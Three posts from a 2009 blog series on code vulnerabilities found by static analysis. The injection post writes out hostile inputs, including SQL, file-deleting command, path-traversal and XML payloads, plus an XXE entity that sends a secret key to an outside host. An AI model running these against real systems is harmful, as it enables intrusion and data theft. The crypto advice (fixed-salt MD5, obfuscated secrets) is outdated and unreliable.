Wednesday, November 25, 2009

Empirical overview of security vulnerabilities [3/4]

The third post of this series focused on security vulnerabilities addresses code injections issues.

Code injection

Code injection is probably one of the most known security vulnerabilities for developers, however our analyses show it remains a major cause of issues related to security.

Code injection aims to take control of a command or a query by using some parameter which is not simple raw data, but contains code which will be executed without any control. It is part of security holes which are easiest to implement, even for a non expert, and has implications which can be extremely serious, such as recovery or destruction of confidential data.

An example with a SQL query in C#:

  string query = "SELECT * FROM user "
    + "WHERE login='" + paramLogin 
    + "' AND password='" + paramPassword 
    + "'";
 
  using (SqlCommand cmd = new SqlCommand(query, someConnection))
  {
    cmd.ExecuteNonQuery();
  }

If the parameter paramPassword is a form field and the user enters 'OR 1=1, password condition will be simply ignored. And to destroy data, the user could try something like: '; DROP TABLE user; ...

In terms of code analysis, we consider 2 levels of severity according to the origin of parameters:

  • parameter comes from a method parameter or a class attribute. It is not possible to assert that there is a security issue, because the parameter may have been checked before. But there is still a risk, because the query may be dangerous when reused elsewhere.
    public User authenticate(string paramLogin, string paramPassword)
    {
      ...
      
      string query = "SELECT * FROM user "
        + "WHERE login='" + paramLogin 
        + "' AND password='" + paramPassword 
        + "'";
     
      using (SqlCommand cmd = new SqlCommand(query, someConnection))
      {
        cmd.ExecuteNonQuery();
      }
      
      ...
    }
    
  • parameter comes directly from a HTTP parameter (such as a form field). You are usually sure it is a real security hole:
    public User authenticate()
    {
      ...
      
      string query = "SELECT * FROM user "
        + "WHERE login='" + Request["login"]
        + "' AND password='" + Request["password"] 
        + "'";
     
      using (SqlCommand cmd = new SqlCommand(query, someConnection))
      {
        cmd.ExecuteNonQuery();
      }
      
      ...
    }
    

This flaw is mainly known for SQL queries, but we often forget that it can apply to other areas. Usually, recommendations for protecting against injection code are:

  • verify data entry (e.g. a login should not contain quotes)
  • systematically escape special characters such as quotes
  • or better, use parameterized queries which will take care for this escaping automatically

SQL Injections and derivatives

Examples of SQL injections presented above also apply to SQL alternative technologies:

  • HQL language for Java persistence framework Hibernate
  • JPQL language for Java persistence specification JPA
  • generic query language LINQ for C#
  • ...

Actually, injection is possible when query is built concatenating parameters directly. You can manually escape special characters such as quotes, but the best solution is generally to use parameterized queries, which are available in most technologies. In addition to escaping special characters, these queries format parameters according to their data type, and may sometimes improve performance by caching structures of queries before setting parameters.

public User authenticate()
{
  ...
  
  string query = "SELECT * FROM user "
    + "WHERE login=@login AND password=@password";
 
  using (SqlCommand cmd = new SqlCommand(query, someConnection))
  {
    cmd.Parameters.AddWithValue("@login", Request["login"]);
    cmd.Parameters.AddWithValue("@password", Request["password"]);

    cmd.ExecuteNonQuery();
  }
  
  ...
}

We also recommend the following two actions:

  • never show SQL errors directly to the user. Otherwise, the attacker could use them to find flaws inside queries
  • configure privileges of account used for database connection, in order to limit harmful actions, for example by prohibiting actions altering the database schema

Command Injection

Another area in which we detect some code injections opportunities: executions of command lines. Imagine a generic web service launching a tool through a command line and passing some parameter coming from the HTTP request:

  @Override
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
  {
    String param = req.getParameter("param");
    Process process = Runtime.getRuntime().exec("c:\\someTool.bat " + param);
    ...
  }

By setting parameter with a value like 0 | del c:\\xxx, an attacker might cause some pretty damage on system! Although the Java API used here covers most cases trying to handle each term of the command as arguments of the first program, we see that it remains necessary to check the contents of the HTTP parameter.

Injection of a file path

Another type of injection easy to set up and rather dangerous: inject a file path when the parameter is used to retrieve a file. For example, in this JSP, we support a copyright notice from language defined in HTTP parameter:

<html>
  ...
  <jsp:include page="copyrights/<%= request.getParameter("lang") %>"/>
  ...
</html>

If the attacker changes its parameter lang for a value such as ../../../../etc/passwd, he simply retrieves the file from the HTTP response. To avoid this vulnerability, you have to use static includes (<%@include file="copyrights/fr"%>), lock access to external / confidential files, and, again, check parameters before you use them.

XPath Injection

XPath is a query language in the same vein as SQL but applicable to XML documents. Previous SQL query might be written in XPath with something like: //users/user[login/text()='...' and password/text()='...']. Problem is identical to SQL injection, but XPath implementations do not always offer any equivalent parameterized queries. Example with the standard Java API (> 5.0), which allow to handle this case properly:

public void authenticate(String login, String password) 
  throws ParserConfigurationException, XPathExpressionException, IOException, SAXException
{
  XPath xpath = XPathFactory.newInstance().newXPath();
  xpath.setXPathVariableResolver(new AuthResolver(login, password));
  XPathExpression query = xpath.compile("//users/user[login/text()=$login and password/text()=$password]/id/text()");
  Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder
      ().parse(new File("auth.xml"));
  
  String userId = query.evaluate(d);
  ...
}

private final static class AuthResolver implements XPathVariableResolver
{
  private final String login;
  private final String password;

  public AuthResolver(String login, String password)
  {
    this.login = login;
    this.password = password;
  }

  public Object resolveVariable(QName qName)
  {
    if ("login".equals(qName.getLocalPart()))
      return login;
    if ("password".equals(qName.getLocalPart()))
      return password;
    
    return null;
  }
}

XML Injections

XML is often used as interchange format in SOA. Imagine a banking service recording account transactions from orders formatted as follows:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <accountId>123</accountId>
  <amount>10000</amount>
  <type>debit</type>
</order>

Now, imagine that this order is generated from an input form in which the user enters an amount with value 0</amount><type>credit</type><amount>10000. XML order becomes:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <accountId>123</accountId>
  <amount>0</amount>
  <type>credit</type>
  <amount>10000</amount>
  <type>debit</type>
</order>

Depending on how this XML document is read, order could be recorded as a credit instead of debit: this will be the case when using DOM search limited to the first element found.

This type of injection is easily prevented by validating the XML document with a model (DTD or XSD Schema), in addition to common operations such as (data verification or escaping of special characters). This is the reason why we offer a rule requiring to validate an XML document before parsing.

XXE (Xml eXternal Entity) Injections

Another type of injection specific to XML (source: http://archive.cert.uni-stuttgart.de/bugtraq/2002/10/msg00421.html), but based on the concept of external entities, which is a mechanism for static inclusion in XML:

<!DOCTYPE root [
<!ENTITY secreteKey SYSTEM "file:/somedir/secreteKey" >
] > 
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <node>&secreteKey;</node>
</root>

When the file is interpreted by an XML parser, the text node node is dynamically replaced with the contents of the file declared by the external entity.

If this file comes from another system, it offers the possibility to access unprotected data. To view these data, either ill-intentioned system is able to parse XML file (e.g. an RSS feed sent to a aggregation server), either it could even retrieve data automatically via a second external entity pointing to a server which it can access:

<!DOCTYPE root [
<!ENTITY secreteKey SYSTEM "file:/somedir/secreteKey" >
<!ENTITY sendSecreteKey SYSTEM "http:// someserver.com/?&secreteKey;" >
] > 
<?xml version="1.0" encoding="UTF-8"?>
<root>
  <node>&sendSecreteKey;</node>
</root>

The solution is simply to not accept external entities in files coming from third parties, and of course, to protect your file system ...

Conclusion

All types of injections are not listed here, but if there was only one thing to remember, this would be : systematically validate received data before using them!

To be continued... Next post will conclude this series with a medley of other vulnerability issues regularly seen on Cockpit, and which are sometimes surprising.

Wednesday, November 18, 2009

Empirical overview of security vulnerabilities [2/4]

The second post of this series focused on security vulnerabilities addresses two distinct issues: concurrent access and object encapsulation.

Concurrent access

This is one of the most difficult areas to master in development. At the design stage, many of us having only one brain, or at the test stage, because simulating concurrent operations is often tricky to set up and even more to reproduce. Concurrent access have impact on several quality dimensions: reliability, performance, maintainability, but also security. Here are some examples.

Sharing of attributes

One of the recurring problems in Java or C# development is the thread-safe notion: is the objet usable simultaneously by several threads or not ? This information should be available in the API documentation. Misuse can lead to unpredictable results. Through Cockpit, we no longer count unsynchronized uses of formatting classes in Java from java.text package, such as java.text.SimpleDateFormat. Because few Java developers know that without synchronizing calls to these classes, they will sometimes get very strange results...

Another example with a direct impact on security is related to the use of some web frameworks. In order to improve performances, many of them use instance pools for providing components handling HTTP requests. For example in Java: Struts (V1), Spring MVC or even servlets. Same problem with C# frameworks such as ASP.NET MVC.

The problem is that this pool mechanism is not always well exposed in the documentation, and the consequences may not be understood by developers. Worst case may lead to mix information from different users.

An example with a servlet (basic Java component handling a HTTP request):

public class SomeServlet extends HttpServlet
{
  private Account account;

  @Override
  protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
  {
    account = retrieveAccount(req);
    doSomething();
  }

  protected void doSomething()
  {
    String name = account.getName();
    ...
  }
}  

This code stores information read from the HTTP request into an attribute of the servlet. Then it performs some operations through another method, operation which use the same attribute. The problem is that if a second request comes before the doSomething()method is called, the attribute will be replaced with information related to the second query. Because a servlet is provided by default through a single shared instance.

I remember having worked on a project for a worldwide known client where users complained sometimes about losing their context and viewing information related to other users. This was exactly this servlet attribute issue! Consequences were limited here because it was an intranet with information which were not confidential, but you can easily imagine the situation in critical environments such as bank applications.

So check your API documentation and track down attributes in components which are not thread-safe. In web applications, data must be stored in the context of the request, session or application.

Singletons

Although the use of singletons is being discarded in favour of dependency injection, it remains a common pattern considered as trivial to write. Yet our results show that more than one project on two contains singletons poorly written.

An example in C#, here the singleton is created at the first call (lazy instantiation):

public sealed class BalanceHistory
{
  private static BalanceHistory INSTANCE;

  private BalanceHistory() { }

  public static BalanceHistory Instance
  {
    get
    {
      if (INSTANCE == null)
      {
        INSTANCE = new BalanceHistory();
      }
      
      return INSTANCE;
    }
  }
}     

If the getter getInstance() is called two times simultaneously, the singleton may be recreated twice: if both tests find the singleton as null, they will both create a new instance, and callers will work on distinct singletons (and the singleton created first will be lost)...

There are several ways to solve this problem:

  • create the instance at declaration: private static BalanceHistory INSTANCE = new BalanceHistory();. This is usually the best solution, this instantiation will be really effective when class will be loaded, so in the case of a singleton, at the first call of getInstance()!
  • synchronize the creation of the instance: in C# through [MethodImplAttribute (MethodImplOptions.Synchronized)], or via some lock on a dedicated lock object
  • use a pattern based on inner classes, cf. Initialization on demand holder idiom pattern
  • use Double-checked locking pattern, even if it causes usually more problems than it solves (we considered this pattern as forbidden in the Cockpit)

Object Encapsulation

Protecting access to data is one of the basic principle of Object-Oriented Programming (OOP), but it does not mean that this kind of problems are solved by OOP.

Data accessibility

OOP allows to protect data by using keywords defining their visibility from the rest of the application, according to the location of classes: private, protected, public, internal (C#), extern (C#), ... Other keywords allow to prevent overloading a class or method: final (Java) or sealed (C#). This configuration of accessibility is not trivial. It requires to find the right balance between security and scalability, while keeping simple code.

Regarding the visibility of class attributes, the developer must add accessors to give them more visibility, keeping some way to check or modify data. Since this work is not very rewarding, that the code is burdened by methods (and properties in C#) which do nothing but set or return attributes, and that developers are lazy by nature, these attributes are sometimes defined as non-private.

And regarding overloading of classes or methods, most of developers do not take care of finalizing/sealing their code, without considering the risks.

These risks may be classified into two types:

  • some ill-intentioned uses from third-party code. This objection is often theoretical, because class loaders do not easily allow such exploitation. However, some designs based on plugins or dependency injection makes these vulnerabilities easier to exploit
  • implementations originally well-intentioned may introduce flaws by overloading critical functions which should be protected, for example a method retrieving user rights.

Developers must therefore always take care of visibility about data or critical processings.

Exposure of mutable data

Another area difficult to manage in OOP and which has a direct impact on security is the exposure of mutable attributes. A mutable object is an object whose state can be changed after initialization, e.g. an array or a StringBuilder but also most of the POJO / POCO created in an application.

The problem is that a getter on a mutable attribute does not only give some simple access permission, it allows the caller to change the state of this attribute. A list of user rights could therefore be easily changed:

public class User
{
  private Set<UserRole> roles = new HashSet<UserRole>();

  ...
  
  public Set<UserRole> getRoles()
  {
    return roles;
  }
}

public class MaliciousCode
{
  public void someMethod()
  {
    User user = userRegistry.findUser("myUserId");
    user.getRoles().add(UserRole.Admin);
  }
}

To guard against such problems, several defensive options are available:

  • return a copy of the attribute:
    public class User
    {
      public Set<UserRole> getRoles()
      {
        return new HashSet<UserRole>(roles);
      }
    }
    

    In some cases, the copy must be deeply cloned, e.g. if the attribute is a list of mutable objects, each mutable object of the cloned list must also be cloned. The problem is that the callers will not have the original instance: if attribute is updated somewhere, cloned instances will no be synchronised.

  • return a proxy wrapping mutable object and blocking update methods. For example:
    public class User
    {
      public Set<UserRole> getRoles()
      {
        return new HashSet<UserRole>(roles)
        {
          @Override
          public boolean add(UserRole o)
          {
            throw new UnsupportedOperationException();
          }
    
          @Override
          public boolean remove(Object o)
          {
            throw new UnsupportedOperationException();
          }
          
          ...
        };
      }
    }
    

    All update methods must be overridden. Compared to the previous option, avantage is that you can finely control access to each method, and most important, you keep original instance through proxy encapsulation

    Java also provides an API to lock easily collections in read-only using this mechanism, thanks to the class java.util.Collections. Just write for example:

    public class User
    {
      public Set<UserRole> getRoles()
      {
        return Collections.unmodifiableSet(roles);
      }
    }
    

Whatever the cases, these mechanisms must be reserved for specific cases where exposed data are critical, in order to avoid reduction of performance because of unnecessary instantiations.

To be continued... In the next post, we will discuss issues related to code injection.

Tuesday, November 10, 2009

Empirical overview of security vulnerabilities [1/4]

The objective of this four-part article is to provide an overview of security issues identified through the Cockpit. Unlike other surveys which are based on theoretical approaches more or less exhaustive, approach is here empirical: problems mentioned are those we detect through our automated analyses on our customer projects (static analysis on Java or C# code). These problems are those that seem most interesting to inject as a new booster shot for developers who would still not be sensitive to this security dimension.

Preamble

Results are not reassuring, many security rules, even basic, are often ignored in development. Even less reassuring when you know that these applications are sometimes part of the critical sectors: banking, insurance, health ... This may be probably explained by several factors:

  • developers show often motivations related to innovation, technical challenges, addition of new features, whereas security prefers paranoid-like behavior, requires mature technologies / architectures, and becomes fragile as soon as you introduce new elements
  • an obvious lack of training. We all presume that security is a prerequisite known by all developers, but only few training schools or companies really educate (future) developers about security concerns
  • security-oriented tests are rarely performed during acceptance phases, which are often limited to check functional and architectural behaviors. And when black box tests are implemented (e.g. with software testing exploration using HTTP access), they do not detect all issues detected by white box tests. And they sometimes arrive too late to allow a fixing campaign on code.

Any quality problem inside code is a potential security issue!

We present here various security issues poorly addressed in developments, but everyone must also understand the following assertion: any quality problem inside code is a potential security issue. Some basic detections such as self-assignments ( someVar = someVar; ), inverted conditions ( if (someValue.someMethod () & & (someValue! = null)) ), infinite recursive calls, creation of unnecessary instances inside iterations, lack of verification of method result, etc.. are likely to create security issues:

  • unexpected behavior (validation of erroneous form data, wrong permissions added to users, confidential data displayed, ...)
  • application crash (lack of memory, execution stack full, ...)

This article describes some quality rules having a direct impact on security. We start first part with the use of encryption algorithms.

Encryption algorithms

The choice of an encryption algorithm is crucial. Firstly because it is often difficult to change algorithm once it has been used in the application (for example, if you used to save your passwords with a MD5 checksum and want to move to SHA, you will not be able to check existing passwords as they will no longer be comparable).

And on the other hand because it is obviously necessary to select a robust algorithm. To avoid implementing some custom algorithms with suspicious reliability, projects often resort to standard algorithms whose specifications are public: MD5, AES, RSA, ... But two problems arise:

  • these algorithms have not an endless lifetime! The evolution of computing power and the constant search for security holes make obsolete some algorithms yesterday considered as unbreakable. Developers must keep informed of the news. However broken algorithms such as DES (symmetric algorithm) or MD5 (fingerprint algorithm) are still numerous in code. Even if they are not always dangerous in the short-term (like MD5), you have to anticipate they could persist for several years in the project.
  • these algorithms must be configured: key size, passwords, salt, padding, ... Again, some knowledge is needed to use these algorithms in a secure way. For example, storing passwords with a fingerprint algorithm (MD5, SHA ...) without using salt to prevent from Rainbow-table attacks is a nonsense.

Recommendations :

  • Use algorithms up to date. For example: SHA for fingerprints, AES for symmetric encryption or RSA for asymmetric encryption.
  • Use keys with sufficient sizes. For example 128 for AES or 2048 for RSA. See Wikipedia: Key size.
  • Take care of configuring the algorithms properly:
    • systematically add salt inside fingerprints for confidential data (obviously not for identification data such as file checksums). For example: md5("a fixed and original value" + somePassword)
    • use padding options, and good ones. For example, the OAEP padding with RSA (Java: Cipher.getInstance( "RSA/ECB/OAEPPADDING), C#: RSA.Encrypt(dataToEncrypt, true))
  • Hide passwords and salts. Except when they may be requested interactively when starting application, they must necessarily be stored somewhere, so use the least accessible way: drowning in code (code obfuscation, dynamic generation, dispersal, .. .), encryption in external files (which requires then to store other passwords ...), ....

To be continued... In the next part, we will discuss issues related to concurrency and object encapsulation.